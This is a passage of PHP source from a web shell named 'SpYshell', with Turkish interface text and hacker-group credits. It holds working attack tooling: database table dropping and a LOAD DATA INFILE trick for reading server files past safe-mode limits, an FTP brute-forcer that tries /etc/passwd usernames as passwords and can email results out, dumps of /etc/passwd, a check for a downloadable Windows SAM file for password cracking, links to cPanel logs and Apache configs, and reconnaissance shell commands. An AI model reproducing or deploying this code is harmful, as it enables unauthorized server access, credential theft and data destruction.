  2556.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Duzenle\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  2557.  
  2558.        echo "</td>";
  2559.  
  2560.        echo "</tr>";
  2561.  
  2562.       }
  2563.  
  2564.       mysql_free_result($result);
  2565.  
  2566.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  2567.  
  2568.       echo "<option value=\"\">Secildi:</option>";
  2569.  
  2570.       echo "<option value=\"deleterow\">SIL/option>";
  2571.  
  2572.       echo "</select>&nbsp;<input type=\"submit\" value=\"Tamam\"></form></p>";
  2573.  
  2574.      }
  2575.  
  2576.     }
  2577.  
  2578.     else
  2579.  
  2580.     {
  2581.  
  2582.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  2583.  
  2584.      if (!$result) {echo mysql_smarterror();}
  2585.  
  2586.      else
  2587.  
  2588.      {
  2589.  
  2590.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Olusturd</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  2591.  
  2592.       $i = 0;
  2593.  
  2594.       $tsize = $trows = 0;
  2595.  
  2596.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  2597.  
  2598.       {
  2599.  
  2600.        $tsize += $row["Data_length"];
  2601.  
  2602.        $trows += $row["Rows"];
  2603.  
  2604.        $size = view_size($row["Data_length"]);
  2605.  
  2606.        echo "<tr>";
  2607.  
  2608.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  2609.  
  2610.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  2611.  
  2612.        echo "<td>".$row["Rows"]."</td>";
  2613.  
  2614.        echo "<td>".$row["Tip"]."</td>";
  2615.  
  2616.        echo "<td>".$row["Olusturma Zamani"]."</td>";
  2617.  
  2618.        echo "<td>".$row["Guncelleme Zamani"]."</td>";
  2619.  
  2620.        echo "<td>".$size."</td>";
  2621.  
  2622.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"BOS\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Sok :)\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  2623.  
  2624.        echo "</tr>";
  2625.  
  2626.        $i++;
  2627.  
  2628.       }
  2629.  
  2630.       echo "<tr bgcolor=\"000000\">";
  2631.  
  2632.       echo "<td><center><b></b></center></td>";
  2633.  
  2634.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  2635.  
  2636.       echo "<td><b>".$trows."</b></td>";
  2637.  
  2638.       echo "<td>".$row[1]."</td>";
  2639.  
  2640.       echo "<td>".$row[10]."</td>";
  2641.  
  2642.       echo "<td>".$row[11]."</td>";
  2643.  
  2644.       echo "<td><b>".view_size($tsize)."</b></td>";
  2645.  
  2646.       echo "<td></td>";
  2647.  
  2648.       echo "</tr>";
  2649.  
  2650.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  2651.  
  2652.       echo "<option value=\"\">Sec:</option>";
  2653.  
  2654.       echo "<option value=\"tbldrop\">Drop</option>";
  2655.  
  2656.       echo "<option value=\"tblempty\">Empty</option>";
  2657.  
  2658.       echo "<option value=\"tbldump\">Dump</option>";
  2659.  
  2660.       echo "<option value=\"tblcheck\">Check table</option>";
  2661.  
  2662.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  2663.  
  2664.       echo "<option value=\"tblrepair\">Repair table</option>";
  2665.  
  2666.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  2667.  
  2668.       echo "</select>&nbsp;<input type=\"submit\" value=\"Tamam!\"></form></p>";
  2669.  
  2670.       mysql_free_result($result);
  2671.  
  2672.      }
  2673.  
  2674.     }
  2675.  
  2676.    }
  2677.  
  2678.    }
  2679.  
  2680.   }
  2681.  
  2682.   else
  2683.  
  2684.   {
  2685.  
  2686.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  2687.  
  2688.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Olustur yeni DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  2689.  
  2690.    if (!empty($sql_act))
  2691.  
  2692.    {
  2693.  
  2694.     echo "<hr size=\"1\" noshade>";
  2695.  
  2696.     if ($sql_act == "newdb")
  2697.  
  2698.     {
  2699.  
  2700.      echo "<b>";
  2701.  
  2702.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DataBase \"".htmlspecialchars($sql_newdb)."\" Olusturma tamamlandi.</b><br>";}
  2703.  
  2704.      else {echo "Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Sebep:</b> ".mysql_smarterror();}
  2705.  
  2706.     }
  2707.  
  2708.     if ($sql_act == "serverstatus")
  2709.  
  2710.     {
  2711.  
  2712.      $result = mysql_query("SHOW STATUS", $sql_sock);
  2713.  
  2714.      echo "<center><b>Server Durumu Kararsiz:</b><br><br>";
  2715.  
  2716.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  2717.  
  2718.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  2719.  
  2720.      echo "</table></center>";
  2721.  
  2722.      mysql_free_result($result);
  2723.  
  2724.     }
  2725.  
  2726.     if ($sql_act == "servervars")
  2727.  
  2728.     {
  2729.  
  2730.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  2731.  
  2732.      echo "<center><b>Server variables:</b><br><br>";
  2733.  
  2734.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  2735.  
  2736.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  2737.  
  2738.      echo "</table>";
  2739.  
  2740.      mysql_free_result($result);
  2741.  
  2742.     }
  2743.  
  2744.     if ($sql_act == "processes")
  2745.  
  2746.     {
  2747.  
  2748.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  2749.  
  2750.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  2751.  
  2752.      echo "<center><b>Processes:</b><br><br>";
  2753.  
  2754.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  2755.  
  2756.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  2757.  
  2758.      echo "</table>";
  2759.  
  2760.      mysql_free_result($result);
  2761.  
  2762.     }
  2763.  
  2764.     if ($sql_act == "getfile")
  2765.  
  2766.     {
  2767.  
  2768.      $tmpdb = $sql_login."_tmpdb";
  2769.  
  2770.      $select = mysql_select_db($tmpdb);
  2771.  
  2772.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  2773.  
  2774.      if ($select)
  2775.  
  2776.      {
  2777.  
  2778.       $created = false;
  2779.  
  2780.       mysql_query("Olustur TABLE `tmp_file` ( `Gozleninen dosya guvenli mod da+open_basedir` LONGBLOB NOT NULL );");
  2781.  
  2782.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  2783.  
  2784.       $result = mysql_query("SELECT * FROM tmp_file;");
  2785.  
  2786.       if (!$result) {echo "<b>Okuma Hatasi (Erisim Engellendi!)!</b>";}
  2787.  
  2788.       else
  2789.  
  2790.       {
  2791.  
  2792.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  2793.  
  2794.        $f = "";
  2795.  
  2796.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  2797.  
  2798.        if (empty($f)) {echo "<b>Dosya \"".$sql_getfile."\" yok veya Bo$!</b><br>";}
  2799.  
  2800.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  2801.  
  2802.        mysql_free_result($result);
  2803.  
  2804.        mysql_query("DROP TABLE tmp_file;");
  2805.  
  2806.       }
  2807.  
  2808.      }
  2809.  
  2810.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  2811.  
  2812.     }
  2813.  
  2814.    }
  2815.  
  2816.   }
  2817.  
  2818.  }
  2819.  
  2820.  echo "</td></tr></table>";
  2821.  
  2822.  if ($sql_sock)
  2823.  
  2824.  {
  2825.  
  2826.   $affected = @mysql_affected_rows($sql_sock);
  2827.  
  2828.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  2829.  
  2830.   echo "<tr><td><center><b>yapmacik(sahte) rows: ".$affected."</center></td></tr>";
  2831.  
  2832.  }
  2833.  
  2834.  echo "</table>";
  2835.  
  2836. }
  2837.  
  2838. if ($act == "mkdir")
  2839.  
  2840. {
  2841.  
  2842.  if ($mkdir != $d)
  2843.  
  2844.  {
  2845.  
  2846.   if (file_exists($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Obje Zaten Var..";}
  2847.  
  2848.   elseif (!mkdir($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Giris Izin Vermedi";}
  2849.  
  2850.   echo "<br><br>";
  2851.  
  2852.  }
  2853.  
  2854.  $act = $dspact = "ls";
  2855.  
  2856. }
  2857.  
  2858. if ($act == "ftpquickbrute")
  2859.  
  2860. {
  2861.  
  2862.  echo "<b>Ftp Hizli Sifre Alma :P By KingDefacer</b><br>";
  2863.  
  2864.  if (!win) {echo "Windows ta Calismaz haa ona goreeee SpyHackTeaM <br><br>";}
  2865.  
  2866.  else
  2867.  
  2868.  {
  2869.  
  2870.   function ashftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  2871.  
  2872.   {
  2873.  
  2874.    if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
  2875.  
  2876.    else {$true = true;}
  2877.  
  2878.    if ($true)
  2879.  
  2880.    {
  2881.  
  2882.     $sock = @ftp_connect($host,$port,$timeout);
  2883.  
  2884.     if (@ftp_login($sock,$login,$pass))
  2885.  
  2886.     {
  2887.  
  2888.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Baglanildi.. ".$host." icin  Giris \"".$login."\" &  Sifre \"".$pass."\"</b></a>.<br>";                                                                                                                                    ob_flush();
  2889.  
  2890.      return true;
  2891.  
  2892.     }
  2893.  
  2894.    }
  2895.  
  2896.   }
  2897.  
  2898.   if (!empty($submit))
  2899.  
  2900.   {
  2901.  
  2902.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  2903.  
  2904.    $fp = fopen("/etc/passwd","r");
  2905.  
  2906.    if (!$fp) {echo "/etc/passwd -Sifre listesi alinamadi.";}
  2907.  
  2908.    else
  2909.  
  2910.    {
  2911.  
  2912.     if ($fqb_logging)
  2913.  
  2914.     {
  2915.  
  2916.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  2917.  
  2918.      else {$fqb_logfp = false;}
  2919.  
  2920.      $fqb_log = "FTP Hizli Brute (called SpYshell ".$shver.") Baslanan ".date("d.m.Y H:i:s")."\r\n\r\n";
  2921.  
  2922.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2923.  
  2924.     }
  2925.  
  2926.     ob_flush();
  2927.  
  2928.     $i = $success = 0;
  2929.  
  2930.     $ftpquick_st = getmicrotime();
  2931.  
  2932.     while(!feof($fp))
  2933.  
  2934.     {
  2935.  
  2936.      $str = explode(":",fgets($fp,2048));
  2937.  
  2938.      if (ashftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  2939.  
  2940.      {
  2941.  
  2942.       echo "<b>Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" Ve sifre \"".$str[0]."\"</b><br>";
  2943.  
  2944.       $fqb_log .= "Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" ve Sifre \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  2945.  
  2946.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2947.  
  2948.       $success++;
  2949.  
  2950.       ob_flush();
  2951.  
  2952.      }
  2953.  
  2954.      if ($i > $fqb_lenght) {break;}
  2955.  
  2956.      $i++;
  2957.  
  2958.     }
  2959.  
  2960.     if ($success == 0) {echo "No success. baglantilar!"; $fqb_log .= "No success. baglantilar!\r\n";}
  2961.  
  2962.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  2963.  
  2964.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Toplam Baglanti: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  2965.  
  2966.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  2967.  
  2968.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  2969.  
  2970.     if ($fqb_logemail) {@mail($fqb_logemail,"SpYshell v. ".$shver." report",$fqb_log);}
  2971.  
  2972.     fclose($fqb_logfp);
  2973.  
  2974.    }
  2975.  
  2976.   }
  2977.  
  2978.   else
  2979.  
  2980.   {
  2981.  
  2982.    $logfile = $tmpdir_logs."ashsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  2983.  
  2984.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  2985.  
  2986.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute Yap\"></form>";
  2987.  
  2988.   }
  2989.  
  2990.  }
  2991.  
  2992. }
  2993.  
  2994. if ($act == "d")
  2995.  
  2996. {
  2997.  
  2998.  if (!is_dir($d)) {echo "<center><b>Permision Engelledi!</b></center>";}
  2999.  
  3000.  else
  3001.  
  3002.  {
  3003.  
  3004.   echo "<b>Uzanti Bilgisi:</b><table border=0 cellspacing=1 cellpadding=2>";
  3005.  
  3006.   if (!$win)
  3007.  
  3008.   {
  3009.  
  3010.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  3011.  
  3012.    $ow = posix_getpwuid(fileowner($d));
  3013.  
  3014.    $gr = posix_getgrgid(filegroup($d));
  3015.  
  3016.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  3017.  
  3018.   }
  3019.  
  3020.   echo "<tr><td><b>Permissions(Engel)</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Olusturma Zamani:</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Giris Zamani:</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>Modifiye Zamani:</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  3021.  
  3022.  }
  3023.  
  3024. }
  3025.  
  3026. if ($act == "phpinfo") {@ob_clean(); phpinfo(); ashshexit();}
  3027.  
  3028. if ($act == "security")
  3029.  
  3030. {
  3031.  
  3032.  echo "<center><b>Server Guvenlik Bilgisi:</b></center><b>Dizin: ".$hopenbasedir."</b><br>";
  3033.  
  3034.  if (!$win)
  3035.  
  3036.  {
  3037.  
  3038.   if ($nixpasswd)
  3039.  
  3040.   {
  3041.  
  3042.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  3043.  
  3044.    echo "<b>*nix /etc/passwd:</b><br>";
  3045.  
  3046.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  3047.  
  3048.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  3049.  
  3050.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  3051.  
  3052.    $i = $nixpwd_s;
  3053.  
  3054.    while ($i < $nixpwd_e)
  3055.  
  3056.    {
  3057.  
  3058.     $uid = posix_getpwuid($i);
  3059.  
  3060.     if ($uid)
  3061.  
  3062.     {
  3063.  
  3064.      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  3065.  
  3066.      echo join(":",$uid)."<br>";
  3067.  
  3068.     }
  3069.  
  3070.     $i++;
  3071.  
  3072.    }
  3073.  
  3074.   }
  3075.  
  3076.   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  3077.  
  3078.  }
  3079.  
  3080.  else
  3081.  
  3082.  {
  3083.  
  3084.   $v = $_SERVER["WINDIR"]."\repair\sam";
  3085.  
  3086.   if (file_get_contents($v)) {echo "<b><font color=red>Winnt Sifresini Kiramazssin :( (".$v.") </font></b><br>";}
  3087.  
  3088.   else {echo "<b><font color=green>Sen winnt Sifresini Kirabilirsin dostum :)<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Indir</b></u></a>, ve kullan lcp.crack+ .</font></b><br>";}
  3089.  
  3090.  }
  3091.  
  3092.  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>SpyHaCKeRz.CoM</b></u></a></font></b><br>";}
  3093.  
  3094.  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>Cpanel Loglarini Gor</b></u></a></font></b><br>";}
  3095.  
  3096.  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";}
  3097.  
  3098.  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";}
  3099.  
  3100.  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog Konfigirasyon (syslog.conf)</b></u></a></font></b><br>";}
  3101.  
  3102.  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Gunluk Mesaj</b></u></a></font></b><br>";}
  3103.  
  3104.  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  3105.  
  3106.  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  3107.  
  3108.  displaysecinfo("Isletim sistemi",myshellexec("cat /proc/version"));
  3109.  
  3110.  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  3111.  
  3112.  displaysecinfo("Sinif Adi",myshellexec("cat /etc/issue.net"));
  3113.  
  3114.  displaysecinfo("Sinif adi (2)",myshellexec("cat /etc/*-realise"));
  3115.  
  3116.  displaysecinfo("Islemci",myshellexec("cat /proc/cpuinfo"));
  3117.  
  3118.  displaysecinfo("RAM",myshellexec("free -m"));
  3119.  
  3120.  displaysecinfo("Hard Disk Alani",myshellexec("df -h"));
  3121.  
  3122.  displaysecinfo("Local Dizin",myshellexec("lsattr -a"));
  3123.  
  3124.  displaysecinfo("Disk Yazma Bilgileri ",myshellexec("cat /etc/fstab"));
  3125.  
  3126.  displaysecinfo("cURL Yuklu?",myshellexec("which curl"));
  3127.  
  3128.  displaysecinfo("lynx Yuklu?",myshellexec("which lynx"));
  3129.  
  3130.  displaysecinfo("links Yuklu?",myshellexec("which links"));
  3131.  
  3132.  displaysecinfo("fetch Yuklu?",myshellexec("which fetch"));
  3133.  
  3134.  displaysecinfo("GET Yuklu?",myshellexec("which GET"));
  3135.  
  3136.  displaysecinfo("perl Yuklu?",myshellexec("which perl"));
  3137.  
  3138.  displaysecinfo("Apache yuklu yer ?",myshellexec("whereis apache"));
  3139.  
  3140.  displaysecinfo("Perl Yuklu yer ?",myshellexec("whereis perl"));
  3141.  
  3142.  displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  3143.  
  3144.  displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  3145.  
  3146.  displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  3147.  
  3148.  displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  3149.  
  3150. }
  3151.  
  3152. if ($act == "mkfile")
  3153.  
  3154. {
  3155.  
  3156.  if ($mkfile != $d)
  3157.  
  3158.  {
  3159.  
  3160.   if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  3161.  
  3162.   elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  3163.  
  3164.   else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
  3165.  
  3166.  }
  3167.  
  3168.  else {$act = $dspact = "ls";}
  3169.  
  3170. }
  3171.  
  3172. if ($act == "encoder")
  3173.  
  3174. {
  3175.  
  3176.  echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Cyriptos:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Girilen Veri:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"Tamam\"><br><br></center><b>Hashes</b>:<br><center>";
  3177.  
  3178.  foreach(array("md5","crypt","sha1","crc32") as $v)
  3179.  
  3180.  {
  3181.  
  3182.   echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
  3183.  
  3184.  }
  3185.  
  3186.  echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
  3187.  
  3188. <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
  3189.  
  3190. <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
  3191.  
  3192.  echo "<center>base64_decode - ";
  3193.  
  3194.  if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
  3195.  
  3196.  else
  3197.  
  3198.  {
  3199.  
  3200.   $debase64 = base64_decode($encoder_input);
  3201.  
  3202.   $debase64 = str_replace("\0","[0]",$debase64);
  3203.  
  3204.   $a = explode("\r\n",$debase64);
  3205.  
  3206.   $rows = count($a);
  3207.  
  3208.   $debase64 = htmlspecialchars($debase64);
  3209.  
  3210.   if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  3211.  
  3212.   else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  3213.  
  3214.   echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
  3215.  
  3216.  }
  3217.  
  3218.  echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  3219.  
  3220.  $c = strlen($encoder_input);
  3221.  
  3222.  for($i=0;$i<$c;$i++)
  3223.  
  3224.  {
  3225.  
  3226.   $hex = dechex(ord($encoder_input[$i]));
  3227.  
  3228.   if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  3229.  
  3230.   elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  3231.  
  3232.  }
  3233.  
  3234.  echo "\" readonly><br></center></form>";
  3235.  
  3236. }
  3237.  
  3238. if ($act == "fsbuff")
  3239.  
  3240. {
  3241.  
  3242.  $arr_copy = $sess_data["copy"];
  3243.  
  3244.  $arr_cut = $sess_data["cut"];
  3245.  
  3246.  $arr = array_merge($arr_copy,$arr_cut);
  3247.  
  3248.  if (count($arr) == 0) {echo "<center><b>Tampon Bos</b></center>";}
  3249.  
